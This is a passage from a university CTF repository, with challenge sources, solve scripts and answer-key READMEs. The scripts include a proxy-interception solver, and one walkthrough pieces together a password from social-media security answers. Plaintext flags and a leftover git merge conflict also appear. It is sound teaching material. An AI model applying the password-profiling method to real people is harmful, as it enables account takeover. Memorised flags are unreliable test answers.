server 15 | 16 | if check_ip(dns_ip): 17 | resp = requests.get("http://" + goal_ip) 18 | return resp.content.decode('utf-8').strip() == flag 19 | else: 20 | print("Cannot connect to either challenge DNS or challenge Web server") 21 | return False 22 | 23 | # Check if a given IP is reachable 24 | def check_ip(ip): 25 | param = '-n' if platform.system().lower() == 'windows' else '-c' 26 | cmd = ['ping', param, '3', ip] 27 | result = subprocess.call(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) == 0 28 | return result 29 | 30 | -------------------------------------------------------------------------------- /challenges/networks/jimmy-strikes-back/wireshark_2.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/networks/jimmy-strikes-back/wireshark_2.pcap -------------------------------------------------------------------------------- /challenges/networks/man-in-the-mirror/solve/intercept-proxy.py: -------------------------------------------------------------------------------- 1 | 2 | import sys, socket 3 | 4 | def main(): 5 | 6 | if (len(sys.argv) <= 3): 7 | print("Usage: " + sys.argv[0] + " ") 8 | exit(1) 9 | 10 | my_port = int(sys.argv[1]) 11 | challenge_site = sys.argv[2] 12 | challenge_port = int(sys.argv[3]) 13 | 14 | serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 15 | serversocket.bind(('0.0.0.0', my_port)) 16 | serversocket.listen(5) 17 | 18 | while True: 19 | print("Waiting for connection on port " + str(my_port) + "...") 20 | (clientsocket, address) = serversocket.accept() 21 | 22 | print("Client connected. Waiting to receive data...") 23 | msg_byte = clientsocket.recv(1024) 24 | 25 | print("Connecting to " + challenge_site + " on port " + str(challenge_port) + "..." ) 26 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 27 | s.connect((challenge_site, challenge_port)) 28 | 29 | print("Sending request from proxy...") 30 | s.send(msg_byte) 31 | 32 | print("Waiting to recieve data...") 33 | data = s.recv(1024) 34 | print("\n" + data.decode() + "\n") 35 | 36 | print("Closing connection...") 37 | clientsocket.close() 38 | s.close() 39 | 40 | main() 41 | -------------------------------------------------------------------------------- /challenges/networks/man-in-the-mirror/solve/man_in_the_mirror_solve.py: -------------------------------------------------------------------------------- 1 | import requests, socket 2 | from multiprocessing.pool import ThreadPool 3 | 4 | def solve() -> bool: 5 | flag = "magpie{1m_st4rt1ng_w1th_th3_m4n_1n_th3_m1ddl3}" 6 | 7 | challenge_host = "net01.magpiectf.ca" 8 | challenge_port = 3665 9 | proxy_host = "http://net01.magpiectf.ca:1337" 10 | 11 | # The public IP of the computer running this script 12 | # The my_port port must be port forwarded in the router 13 | my_host = "http://xxx.xxx.xxx.xxx" 14 | my_port = 5665 15 | 16 | # Create intercept proxy thread 17 | pool = ThreadPool(processes=1) 18 | proxy = pool.apply_async(proxy_thread, (my_port, challenge_host, challenge_port)) 19 | 20 | # Send request to intercept proxy 21 | r = requests.get(my_host + ":" + str(my_port), proxies={"http": proxy_host}) 22 | 23 | proxy_data = proxy.get() 24 | 25 | pool.close() 26 | pool.join() 27 | 28 | return flag in proxy_data 29 | 30 | def proxy_thread(my_port, challenge_host, challenge_port): 31 | serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 32 | serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 33 | serversocket.bind(('0.0.0.0', my_port)) 34 | serversocket.listen(1) 35 | 36 | # Get data from proxy 37 | (clientsocket, address) = serversocket.accept() 38 | msg_byte = clientsocket.recv(1024) 39 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 40 | 41 | # Connect to challenge site 42 | s.connect((challenge_host, challenge_port)) 43 | 44 | # Forward message to website 45 | s.send(msg_byte) 46 | data = s.recv(1024) 47 | 48 | # Close sockets 49 | serversocket.close() 50 | clientsocket.close() 51 | s.close() 52 | 53 | return data.decode() -------------------------------------------------------------------------------- /challenges/networks/man-in-the-mirror/source/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:3.12 2 | 3 | #Openresty 4 | RUN wget 'http://openresty.org/package/admin@openresty.com-5ea678a6.rsa.pub' 5 | RUN mv 'admin@openresty.com-5ea678a6.rsa.pub' /etc/apk/keys/ 6 | RUN . /etc/os-release 7 | RUN echo "http://openresty.org/package/alpine/v3.12/main" | tee -a /etc/apk/repositories 8 | RUN apk update 9 | RUN apk add openresty 10 | 11 | # Configure nginx 12 | COPY config/nginx.conf /usr/local/openresty/nginx/conf/nginx.conf 13 | COPY config/proxy.conf /usr/local/openresty/nginx/sites/proxy.conf 14 | 15 | 16 | # Expose the port nginx is reachable on 17 | EXPOSE 8080 18 | EXPOSE 1337 19 | 20 | # Let supervisord start nginx & php-fpm 21 | ENTRYPOINT openresty -g 'daemon off;' 22 | 23 | # Configure a healthcheck to validate that everything is up&running 24 | HEALTHCHECK --timeout=10s CMD curl --silent --fail http://127.0.0.1:8080/ 25 | -------------------------------------------------------------------------------- /challenges/networks/man-in-the-mirror/source/config/proxy.conf: -------------------------------------------------------------------------------- 1 | 2 | server { 3 | listen [::]:1337; 4 | listen 1337; 5 | 6 | encrypted_session_key "FqNcca37nsvGH1t2es5hPTGVkHGgmvfJ"; 7 | encrypted_session_iv "birdbirdbirdbird"; 8 | 9 | location / { 10 | 11 | sub_filter_types *; 12 | sub_filter 'magpie{1m_st4rt1ng_w1th_th3_m4n_1n_th3_m1ddl3}' '

======PROXY FILTERING START======

xxxxxx{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

======PROXY FILTERING END======

'; 13 | 14 | set_encrypt_session $session $msec; 15 | set_encode_base32 $session; 16 | proxy_set_header Cookie 'auth=$session'; 17 | resolver 8.8.8.8; 18 | proxy_pass http://$http_host$request_uri; 19 | } 20 | } -------------------------------------------------------------------------------- /challenges/networks/treasures-of-polybius/.gitignore: -------------------------------------------------------------------------------- 1 | bin/ 2 | *.bin 3 | -------------------------------------------------------------------------------- /challenges/networks/treasures-of-polybius/solve/solution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests 4 | import os 5 | import subprocess as subp 6 | 7 | def get_ids(): 8 | ids = [] 9 | 10 | with open("link_list.txt", 'r') as link_list: 11 | links = link_list.read().split('\n') 12 | for link in links: 13 | if not link: continue 14 | id_str = link.split('/')[-2] 15 | ids.append(id_str) 16 | 17 | return ids 18 | 19 | def main(): 20 | ids = get_ids() 21 | 22 | prev_key = "" 23 | for id_str in ids: 24 | dl_link = f"https://drive.google.com/u/0/uc?id={id_str}&export=download" 25 | confirm_key = "" 26 | 27 | # Essential code is below 28 | session = requests.Session() 29 | resp = session.get(dl_link) 30 | for key, value in session.cookies.get_dict().items(): 31 | if "download" not in key: continue 32 | confirm_key = value 33 | break 34 | 35 | if not confirm_key: 36 | print("Confirmation key not found :(") 37 | return 38 | 39 | 40 | prev_key = confirm_key 41 | confirm_link = f"https://drive.google.com/u/0/uc?export=download&id={id_str}&confirm={confirm_key}" 42 | 43 | print(f"requesting {confirm_link}") 44 | resp = session.get(confirm_link) 45 | session.close() 46 | if("magpie" not in str(resp.content)): 47 | print("Flag not found, moving to next link") 48 | continue 49 | 50 | print("Flag found! Writing to flag.bin") 51 | with open("flag.bin", "wb+") as flag_file: 52 | flag_file.write(resp.content) 53 | 54 | print("File with flag written to flag.bin") 55 | print("use `strings flag.bin | grep magpie` to retrieve the flag") 56 | 57 | return 58 | return 59 | 60 | if __name__ == "__main__": main() 61 | -------------------------------------------------------------------------------- /challenges/networks/treasures-of-polybius/solve/treasures_of_polybius_solve.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | def solve() -> bool: 4 | flag = "magpie{g00gl3_dr1v3_|)1v3}" 5 | link_id = "11CqxPS4fpnYA799rhCw3SdjYoGFUwXdD" 6 | 7 | session = requests.Session() 8 | resp = session.get(f"https://drive.google.com/u/0/uc?id={link_id}&export=download") 9 | 10 | confirm_key = get_confirm_key(session) 11 | 12 | # attempt to recieve download cookie 10 more times if the key was not found 13 | retry = 10 14 | while(not confirm_key and retry): 15 | session.close() 16 | confirm_key = get_confirm_key(session) 17 | retry -= 1 18 | 19 | if(not confirm_key): 20 | return False 21 | 22 | resp = session.get(f"https://drive.google.com/u/0/uc?id={link_id}&export=download&confirm={confirm_key}") 23 | resp_text = str(resp.content) 24 | 25 | return flag in resp_text 26 | 27 | def get_confirm_key(session) -> str: 28 | for key, value in session.cookies.get_dict().items(): 29 | if "download" not in key: continue 30 | return value 31 | 32 | return "" 33 | -------------------------------------------------------------------------------- /challenges/networks/treasures-of-polybius/source/bindump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import random 5 | 6 | 7 | def main(): 8 | dump = "./bin/" 9 | file_count = 50 # higher numbers take a lot of storage 10 | file_size = 110000000 11 | flag = b"magpie{g00gl3_dr1v3_|)1v3}" 12 | 13 | try: 14 | os.mkdir(dump) 15 | print(f"Created {dump}, which will house all {file_count} bin files"); 16 | except FileExistsError: 17 | print(f"Found pre-existing {dump}, clearing...") 18 | 19 | binfiles = [f for f in os.listdir(dump) if f.endswith(".bin")] 20 | for f in binfiles: 21 | os.remove(f"{dump}{f}") 22 | 23 | for i in range(1, file_count): 24 | binname = f"{hex(random.randint(i* 10000000000, i * 10000000000))[2::]}.bin" 25 | rand_dump = b"\x00" + os.urandom(file_size) + b"\x00" 26 | 27 | with open(dump+binname, 'wb') as bfile: bfile.write(rand_dump) 28 | print(f"{dump+binname} has been written") 29 | 30 | flag_dump = b"\x00" + os.urandom(file_size - len(flag)) + flag + b"\x00" 31 | with open("bin/25a01c500.bin", 'wb') as lastfile: lastfile.write(flag_dump) 32 | print(f"bin/25a01c500.bin with the flag has been written") 33 | 34 | return 35 | 36 | if __name__ == "__main__": main() 37 | -------------------------------------------------------------------------------- /challenges/osint/movie-secrets/README.md: -------------------------------------------------------------------------------- 1 | # Movie Secrets 2 | ### Category: OSINT 3 | ### Author: Ethan Sengsavang (Petiole) 4 | 5 | ## Description 6 | All the reviews from the film reviewer FibrousFilms was recently wiped. 7 | Can you determine the password like the hacker did? 8 | 9 | https://fibrousfilms.netlify.app 10 | 11 | ## Hints 12 | 1. Connect ideas between websites 13 | 2. Where can you find FibrousFilms' birthday? 14 | 15 | ## Solution 16 | 1. Players must determine that FibrousFilms has a Twitter and a Reddit 17 | * Both of these social media sites are mentioned in different locations. 18 | Twitter is mentioned on the website itself, where Reddit is mentioned on Twitter. 19 | 2. They then should notice the semi-hidden Admin Panel link on the footer 20 | of the page (or by going to admin.html themselves) 21 | 3. Reading the html comment on `admin.html`, players should consider the 22 | start to look for answers to security questions. 23 | 4. The pet's name can be determined: 24 | * From Reddit, fibrousfilms writes: 25 | 26 | `aww they really remind me of my kitten tim back at home. thanks for posting` 27 | * hinting that they have a kitten named tim. 28 | * From Twitter, they also write: 29 | 30 | `i really like nicknames sometimes, like if i introduced someone to tim, no one would guess that's short for timbala` 31 | * showing that their kitten's name, tim, is short for timbala. 32 | 5. Their favourite movie can be determined: 33 | * From Twitter, their birthday is public, showing they were born on June 7th 1983 34 | * Their website states that their favourite movie came out on their second birthday 35 | * A Google search for movies released on June 7th, 1985 results with the 36 | Goonies, which is their favourite film. 37 | 6. Their favourite food can also be determined: 38 | * On Reddit, they mention that they want to post a photo of the lasagna they're 39 | making with their roommate one day after they made that post (Posted on 40 | January 6th). 41 | * On Twitter, they state that they're making their favourite food "today" 42 | (Posted on January 7th) 43 | * Noticing that the two days line up, their favourite food can be determined. 44 | 7. The hidden key is just that, hidden. 45 | * This should give a hint to point to the zero opacity string found on the 46 | index page of fibrousfilms' website. 47 | 48 | * NOTE: There is an intentional 404 page call if the players answer incorrectly, 49 | but players may use any casing to stay fairly lenient. 50 | 51 | # Flag 52 | magpie{j0urn3y\_t0\_743\_c3ntr3\_of\_743\_n3t} 53 | -------------------------------------------------------------------------------- /challenges/osint/movie-secrets/source/character_profile.txt: -------------------------------------------------------------------------------- 1 | Name: Henry Baldassarre 2 | Common Username: FibrousFilms 3 | Birthday: June 7th, 1983 4 | Pets name: timbala 5 | favourite movie: goonies 6 | favourite food: lasagna 7 | 8 | full password: timbalagoonieslasagna88miperhr 9 | 10 | string conversion (javascript): 11 | for(chr in passwrd){console.log(passwrd.charCodeAt(chr).toString(16))} 12 | 13 | window manipulation (javscript): 14 | window.location = new URL(window.location.orgin + newPath) 15 | 16 | Flag hidden at 17 | 74696d62616c61676f6f6e6965736c617361676e6138386d697065726872.html 18 | 19 | Flag: 20 | magpie{j0urn3y_t0_743_c3ntr3_of_743_n3t} 21 | -------------------------------------------------------------------------------- /challenges/osint/movie-secrets/source/other_images/IMG_20210105_202438.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/osint/movie-secrets/source/other_images/IMG_20210105_202438.jpg -------------------------------------------------------------------------------- /challenges/osint/movie-secrets/source/other_images/IMG_20210106_155821.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/osint/movie-secrets/source/other_images/IMG_20210106_155821.jpg -------------------------------------------------------------------------------- /challenges/osint/movie-secrets/source/review-generation/generate_movie_list.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import random 4 | 5 | def create_format(movie_name, meta_rank): 6 | rank = int(meta_rank % 10 + random.randint(1, 10)) 7 | if meta_rank > 10: rank += random.randint(0, 3) 8 | if meta_rank < 80 or not random.randint(0, 100): rank -= random.randint(0, 4) 9 | while(rank > 10): rank -= random.randint(-1, 4) 10 | 11 | if movie_name == "The Goonies": rank = 10 12 | return f"{movie_name}{rank}/10\n" 13 | 14 | def main(): 15 | movies = [] 16 | rankings = [] 17 | final_html = "" 18 | 19 | with open("movies", "r") as movie_list: movies = movie_list.read().split(', ') 20 | with open("rankings", "r") as rank_list: rankings = rank_list.read().split(', ') 21 | 22 | for index, movie in enumerate(movies): 23 | final_html += create_format(movie, float(rankings[index])) 24 | 25 | print(final_html) 26 | return 27 | 28 | if __name__ == "__main__": main() 29 | -------------------------------------------------------------------------------- /challenges/osint/movie-secrets/source/review-generation/movies: -------------------------------------------------------------------------------- 1 | The Breakfast Club, Real Genius, Sixteen Candles, Weird Science, Pretty in Pink, Back to the Future, Back to the Future Part II, Star Wars: Episode V - The Empire Strikes Back, Star Wars: Episode VI - Return of the Jedi, Star Trek II: The Wrath of Khan, Star Trek IV: The Voyage Home, E.T. the Extra-Terrestrial, Dirty Dancing, Platoon, The Princess Bride, Indiana Jones and the Raiders of the Lost Ark, Indiana Jones and the Temple of Doom, Indiana Jones and the Last Crusade, The Terminator, Who Framed Roger Rabbit, When Harry Met Sally..., Labyrinth, Legend, Bill & Ted's Excellent Adventure, Top Gun, Footloose, Desperately Seeking Susan, Poltergeist, Poltergeist II: The Other Side, Flashdance, Ghostbusters, Ghostbusters II, Gremlins, Superman II, Splash, Some Kind of Wonderful, The Legend of Billie Jean, Risky Business, Working Girl, Roxanne, Ruthless People, The Lost Boys, Adventures in Babysitting, Beetlejuice, St. Elmo's Fire, All the Right Moves, Mannequin, The Karate Kid, The Karate Kid Part II, Weekend at Bernie's, The Untouchables, Die Hard, Raising Arizona, The Last Emperor, A Christmas Story, Terms of Endearment, The Little Mermaid, The Fox and the Hound, Glory, A Fish Called Wanda, Witness, Field of Dreams, Moonstruck, Ferris Bueller's Day Off, Mad Max 2: The Road Warrior, Mad Max Beyond Thunderdome, Stand by Me, Above the Law, The Abyss, The Accused, An American Tail, The NeverEnding Story, The Secret of NIMH, The Last Unicorn, An American Werewolf in London, Annie, The Fly, The Fly II, Armed and Dangerous, Batman, Steel Magnolias, Beaches, Benji the Hunted, Beverly Hills Cop, Beverly Hills Cop II, Big, The Big Chill, The Black Cauldron, The Black Stallion Returns, Bloodsport, The Blue Lagoon, Blue Thunder, Born on the Fourth of July, The 'Burbs, Caddyshack, The Muppets Take Manhattan, The Goonies, Cocoon, *batteries not included, The Color Purple 2 | -------------------------------------------------------------------------------- /challenges/osint/movie-secrets/source/review-generation/rankings: -------------------------------------------------------------------------------- 1 | 66, 71, 61, 46, 56, 87, 57, 82, 58, 67, 71, 91, 65, 92, 77, 85, 57, 65, 84, 83, 76, 50, 30, 50, 50, 42, 71, 79, 49, 39, 71, 56, 70, 83, 71, 55, 45, 75, 73, 73, 78, 63, 45, 70, 35, 62, 21, 60, 55, 32, 79, 72, 68, 76, 77, 79, 88, 65, 78, 80, 76, 57, 83, 61, 77, 71, 75, 45, 62, 65, 38, 46, 76, 70, 55, 39, 79, 36, 17, 69, 56, 46, 53, 66, 48, 73, 61, 59, 34, 29, 31, 66, 75, 45, 48, 64, 90, 65, 54, 78 2 | -------------------------------------------------------------------------------- /challenges/osint/movie-secrets/source/website/404.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Whoops! 6 | 7 | 8 | 9 | 10 | 13 |
14 |

That's an issue, the page you were looking for cannot be found

15 | Go back to the homepage 16 |
17 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /challenges/osint/movie-secrets/source/website/74696d62616c61676f6f6e6965736c617361676e6138386d697065726872.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Yay! Flag! 6 | 7 | 8 | 9 | 10 |
11 |

Your flag is:

12 |

magpie{j0urn3y_t0_743_c3ntr3_of_743_n3t}

13 |
14 | 15 | 16 | -------------------------------------------------------------------------------- /challenges/osint/movie-secrets/source/website/admin.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Admin Login Page 5 | 6 | 7 | 28 | 29 | 30 | 33 |
34 |
35 | 39 | 43 | 47 | 51 | 55 | 56 |
57 | 58 |
59 | 60 | 61 | -------------------------------------------------------------------------------- /challenges/osint/movie-secrets/source/website/camera_display.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/osint/movie-secrets/source/website/camera_display.png -------------------------------------------------------------------------------- /challenges/osint/movie-secrets/source/website/fibrousfilms_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/osint/movie-secrets/source/website/fibrousfilms_logo.png -------------------------------------------------------------------------------- /challenges/osint/movie-secrets/source/website/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | FibrousFilms Homepage 6 | 7 | 8 | 9 | 10 | 14 |
15 |

Recently Reviewed Movies

16 |
17 |

18 | If you would like to read one of my reviews, you can click 19 | here to look 20 | through everything I've reviewed. 21 |

22 |

23 | Naturally, everything is my opinion, but I would 24 | love to hear, obviously, exactly why its wrong on 25 | Twitter or something. 26 |

27 |
28 |

About Me

29 |
30 |

31 | Hello! Nice of you to stuble upon my website. My name 32 | is Henry Baldssarre, but I'm better known as 33 | FibrousFilms, especially here. 34 |

35 | A few things about me: 36 |
    37 |
  • 38 | I am not a professional writer, so, uh, don't have 39 | the highest standards 40 |
  • 41 |
  • 42 | The one movie I love the most was released on my 2nd 43 | birthday 44 |
  • 45 |
  • 46 | I'm not the biggest user of social media, but I'm 47 | around I suppose 48 |
  • 49 |
50 |

88miperhr

51 |

52 | If you like my work, consider supporting me on 53 | Patreon or buy me a Ko-fi 54 |

55 |
56 |
57 | 60 | 61 | 62 | -------------------------------------------------------------------------------- /challenges/osint/movie-secrets/source/website/missing-review.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | lmao nope 6 | 7 | 8 | 9 |

looking for your reviews?

10 |

lmao

11 |

you better hope that you backed up your stuff

12 |
i highly doubt it
13 | 14 | 15 | -------------------------------------------------------------------------------- /challenges/osint/movie-secrets/source/website/styles.css: -------------------------------------------------------------------------------- 1 | :root{ 2 | font-size: 20px; 3 | font-family: "Helvetica", sans-serif; 4 | 5 | --background: #222222; 6 | --font-color: #f3f3f3; 7 | --footer-background: #181818; 8 | --hidden-link: #242424; 9 | } 10 | 11 | body *{ 12 | display: block; 13 | padding: 0; 14 | margin: 0; 15 | } 16 | 17 | p, h1, h2, h3, i, b, a, li, u{ 18 | color: var(--font-color); 19 | } 20 | 21 | html{ 22 | scroll-behavior: smooth; 23 | } 24 | 25 | body{ 26 | background-color: var(--background); 27 | margin: 0; 28 | } 29 | 30 | #header{ 31 | display: flex; 32 | flex-direction: column; 33 | align-items: center; 34 | margin-top: 2rem; 35 | } 36 | 37 | #main{ 38 | margin: 2rem 1rem; 39 | } 40 | 41 | #movie-list{ 42 | display: table; 43 | width: 70vw; 44 | margin: auto; 45 | } 46 | 47 | #movie-list tbody{ 48 | display: table-row-group; 49 | } 50 | 51 | #movie-list tr{ 52 | display: table-row; 53 | } 54 | 55 | #movie-list td, #movie-list th{ 56 | padding: 0.5rem; 57 | text-align: left; 58 | display: table-cell; 59 | color: var(--font-color); 60 | border: 1px solid var(--footer-background); 61 | } 62 | 63 | .movie-list b{ 64 | display: inline; 65 | } 66 | 67 | #main h3{ 68 | margin-top: 2rem; 69 | margin-bottom: 1rem; 70 | text-align: center; 71 | } 72 | 73 | p a{ 74 | display: inline; 75 | text-decoration: underline; 76 | } 77 | 78 | p i{ 79 | display: inline; 80 | } 81 | 82 | #main #about{ 83 | margin: 0 10rem; 84 | 85 | display: flex; 86 | flex-direction: column; 87 | justify-content: center; 88 | 89 | background-image: url("./camera_display.png"); 90 | background-repeat: no-repeat; 91 | background-position: right; 92 | background-size: contain; 93 | padding-right: 20vw; 94 | } 95 | 96 | #main p{ 97 | line-height: 1.1rem; 98 | margin-bottom: 1.2rem; 99 | } 100 | 101 | li{ 102 | display: list-item; 103 | margin-left: 3rem; 104 | } 105 | 106 | form{ 107 | display: flex; 108 | flex-direction: column; 109 | align-items: center; 110 | justify-content: center; 111 | height: 80vh; 112 | } 113 | 114 | label{ 115 | margin-bottom: 2rem; 116 | } 117 | 118 | #footer{ 119 | display: flex; 120 | align-items: center; 121 | justify-content: center; 122 | 123 | padding-top: 2rem; 124 | padding-bottom: 2rem; 125 | width: 100vw; 126 | 127 | background-color: var(--footer-background); 128 | } 129 | 130 | #footer a{ 131 | color: var(--hidden-link); 132 | } 133 | -------------------------------------------------------------------------------- /challenges/osint/newsworthy/README.md: -------------------------------------------------------------------------------- 1 | # Newsworthy 2 | ### Category: OSINT 3 | ### Author: Emily Baird (Analytical Engine) 4 | 5 | ## Description 6 | What 3 words best describe the National billboard on the front page of the Calgary Herald on March 27th 1980? 7 | 8 | Flag format: magpie{word1.word2.word3} 9 | 10 | ## Hints 11 | GPS coordinates aren’t the only way of accurately expressing a location 12 | 13 | ## Solution 14 | The entire archives of the Calgary Herald from 1883-2010 are online [here](https://web.calgarylibrary.ca/read-learn-and-explore/digital-library/calgary-herald-archive-online/). By searching for March 27, 1980, we can find a copy of the paper from that day. The picture on the front page shows a construction site in the foreground with a heritage building in the background. We can faintly see an advertisement on the side of the building, with the word “National” visible. 15 | 16 | ![Front page of the Herald](assets/front-page.png) 17 | ![The National is visible](assets/zoom.png) 18 | 19 | Now that we’ve found the image, we still need to figure out what to do with it to find the flag. The description says that the flag is “What 3 words best describe…?” What3words is a project that maps a 3-meter by 3-meter grid onto the entire surface of the world, and assigns each square a name of 3 random English words. We can infer that the flag is probably the what3words entry for the location of the sign. The description underneath states that the photo was taken on the corner of Macleod Trail and 12th Avenue SE in Calgary, AB. 20 | 21 | On Google maps, we can use streetview to take a look at the area now. The heritage building has been renovated slightly, but it’s still there. The building in question is the Louise Block building on Macleod Trail and 11th Avenue (the photo in the paper was taken on 12th looking one block north). If we find that location on [What3Words](https://what3words.com/), we learn that the square on the map is called “boxer.jacket.hoofs” which also lines up nicely with what we know of the flag format, giving us some extra confidence that this is our flag. 22 | 23 | ## Flag 24 | magpie{boxer.jacket.hoofs} -------------------------------------------------------------------------------- /challenges/osint/newsworthy/assets/front-page.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/osint/newsworthy/assets/front-page.png -------------------------------------------------------------------------------- /challenges/osint/newsworthy/assets/zoom.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/osint/newsworthy/assets/zoom.png -------------------------------------------------------------------------------- /challenges/osint/rubiks-cubiks/README.md: -------------------------------------------------------------------------------- 1 | # Rubik's Cubiks 2 | ### Category: OSINT 3 | ### Author: Justin Yu (justinjelly) 4 | 5 | ## Description 6 | As a kid growing up in the 80’s, little Robby was so obsessed with the Rubik’s Cube that he got the nickname “Robby the Cuber”. 7 | To this day he still loves the puzzle and document tips and tricks for the Rubik’s Cube online. Can you find his secret blog of tips and tricks? 8 | 9 | ## Solution 10 | 1. Go to https://twitter.com/RobbyTheCuber. 11 | 2. Save the image of the rubik's cube in his first tweet. 12 | 3. Visit a "color picker from image" website (like this one, https://www.ginifab.com/feeds/pms/color_picker_from_image.php) and note the RGB number code for the lime green side of the cube (146,232,97). 13 | 4. go to https://rubiks.fandom.com/wiki/Main_Page or find it by google searching "wikicube". 14 | 5. in the website's search bar, search "14623297", (which is the RGB code for Robby's favourite rubik's cube colour, as stated on twitter) and find the blog post named "14623297". 15 | 6. The flag will be in that blog post! 16 | 17 | ## Flag 18 | magpie{r0bby_n33d5_a_n3w_h0bby} 19 | 20 | 21 | -------------------------------------------------------------------------------- /challenges/osint/text-adventure-2/README.md: -------------------------------------------------------------------------------- 1 | # Text Adventure 2 2 | ### Category: OSINT 3 | ### Author: Joshua Novak (rm -rf /#0797), Emily Baird (Analytical Engine#4954) and Brandon Arenas (Inga#5508) 4 | 5 | --- 6 | 7 | ## Description 8 | In our text adventure, you find traces of a certain nerdy employee! It seems like he obsessed over a certain song. Look around very carefully and using the power of deduction (and your favourite search engine) figure out the name of that song! 9 | 10 | ## Hints 11 | 1. When submitting the flag, it should be all lowercase and separated by underscores: magpie{fake_answer_to_OSINT_here} 12 | 2. As this is an OSINT challenge, be sure to make use of your favourite search engines! 13 | 14 | ## Solution 15 | 1. Find all clues 16 | - Whip 17 | - NES in computer room drawer 18 | - Tape player 19 | - Notice poster 20 | 2. Deduce (this is really up in the air as it could be very different from person to person): 21 | - Notice 22 | - It's June 23 | - Jim playing video game music 24 | - Jim obsessed with month old game (game came out in May) 25 | - NES 26 | - Probably Jim's. Hence, game is a NES game 27 | - Whip 28 | - Jims whip (written on it). 29 | - If this was a video game toy: NES + whip + 80s = Castlevania 30 | - Stereo 31 | - Tape labelled epic battle music: Some kind of battle music from Castlevania 32 | - When you use the stereo it prints music out: 33 | - Here you have to figure out the sound of the piece of music and get its title 34 | - Flag 35 | - Once you know all of the above: the piece of music is "Nothing To Lose", the final boss themes in Castlevania. 36 | 37 | ## Flag 38 | <<<<<<< HEAD:challenges/misc/text_adventure/README.md 39 | magpie{nothing_to_lose} 40 | 41 | --- 42 | 43 | # Binary 44 | ## Description 45 | Dracula left his terminal open. It's password protected but he's not very good at programming. He really should stick to evil magic... 46 | 47 | ## Hints 48 | No hints. Everything needed is given in print statements. 49 | 50 | ## Solution 51 | Solution is to overwrite the 9 byte password. The real obstacle is giving gets a null byte right after the first password so that strcmp will not compare the entire 256 byte buffer. Instead, it will stop at the 10th byte, the null byte. 52 | 53 | For a detailed solution, see exploit.py in solve/ 54 | 55 | ## Flag 56 | magpie{d()nt_p@n!k_pIz} 57 | ======= 58 | magpie{nothing_to_lose} 59 | >>>>>>> master:challenges/osint/text-adventure-2/README.md 60 | -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM tiangolo/uwsgi-nginx-flask:python3.8-alpine 2 | 3 | # update, upgrade, last line needed for Pillow to install properly 4 | RUN apk update; \ 5 | apk upgrade; \ 6 | apk add \ 7 | freetype-dev \ 8 | fribidi-dev \ 9 | harfbuzz-dev \ 10 | jpeg-dev \ 11 | lcms2-dev \ 12 | openjpeg-dev \ 13 | tcl-dev \ 14 | tiff-dev \ 15 | tk-dev \ 16 | zlib-dev \ 17 | gcc \ 18 | musl-dev 19 | 20 | # Copy the app and cronAdd script 21 | COPY ./app /app 22 | COPY cronAdd . 23 | 24 | # Add the cron job to the crontab 25 | RUN (crontab -l 2> /dev/null; echo "*/15 * * * * /app/scrub.sh")| crontab - 26 | 27 | # append the cronAdd to the supervisord.ini file to allow cron to start 28 | RUN cat cronAdd >> /etc/supervisor.d/supervisord.ini 29 | 30 | # make scrub.sh executable 31 | RUN chmod +x /app/scrub.sh 32 | 33 | # install all the requirements for flask 34 | RUN pip3 install --upgrade pip 35 | RUN pip3 install -r requirements.txt 36 | 37 | -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/requirements.txt: -------------------------------------------------------------------------------- 1 | filetype 2 | flask_cors 3 | Pillow 4 | -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/scrub.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | rm /app/cards/* 4 | -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/static/ByGrace.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/reverse-engineering/by-grace/source/app/static/ByGrace.tar.gz -------------------------------------------------------------------------------- /challenges/reverse-engineering/by-grace/source/app/static/UNDERCONTRUCTIONPERSON.GIF: -------------------------------------------------------------------------------- 